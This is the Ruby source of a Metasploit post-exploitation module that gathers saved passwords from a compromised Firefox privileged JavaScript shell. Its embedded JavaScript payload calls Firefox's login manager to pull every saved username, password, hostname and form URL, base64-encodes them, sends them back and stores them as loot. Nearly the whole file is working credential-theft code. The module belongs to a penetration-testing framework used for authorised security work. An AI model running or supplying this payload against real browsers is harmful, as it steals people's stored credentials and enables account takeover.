metasploit-framework/modules/post/firefox/gather/passwords.rb

86 lines
2.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
require 'msf/core'
require 'msf/core/payload/firefox'
class MetasploitModule < Msf::Post
include Msf::Payload::Firefox
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox Gather Passwords from Privileged Javascript Shell',
'Description' => %q{
This module allows collection of passwords from a Firefox Privileged Javascript Shell.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'DisclosureDate' => 'Apr 11 2014'
))
register_options([
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
], self.class)
end
def run
results = js_exec(js_payload)
if results.present?
begin
passwords = JSON.parse(results)
passwords.each do |entry|
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
end
if passwords.length > 0
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
print_good("Saved #{passwords.length} passwords to #{file}")
else
print_warning("No passwords were found in Firefox.")
end
rescue JSON::ParserError => e
print_warning(results)
end
end
end
def js_payload
%Q|
(function(send){
try {
var manager = Components
.classes["@mozilla.org/login-manager;1"]
.getService(Components.interfaces.nsILoginManager);
var logins = manager.getAllLogins();
var passwords = [];
var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
var fields = ['password', 'passwordField', 'username', 'usernameField',
'httpRealm', 'formSubmitURL', 'hostname'];
var sanitize = function(passwdObj) {
var sanitized = { };
for (var i in fields) {
sanitized[fields[i]] = b64(passwdObj[fields[i]]);
}
return sanitized;
}
// Find user from returned array of nsILoginInfo objects
for (var i = 0; i < logins.length; i++) {
passwords.push(sanitize(logins[i]));
}
send(JSON.stringify(passwords));
} catch (e) {
send(e);
}
})(this.send);
|.strip
end
end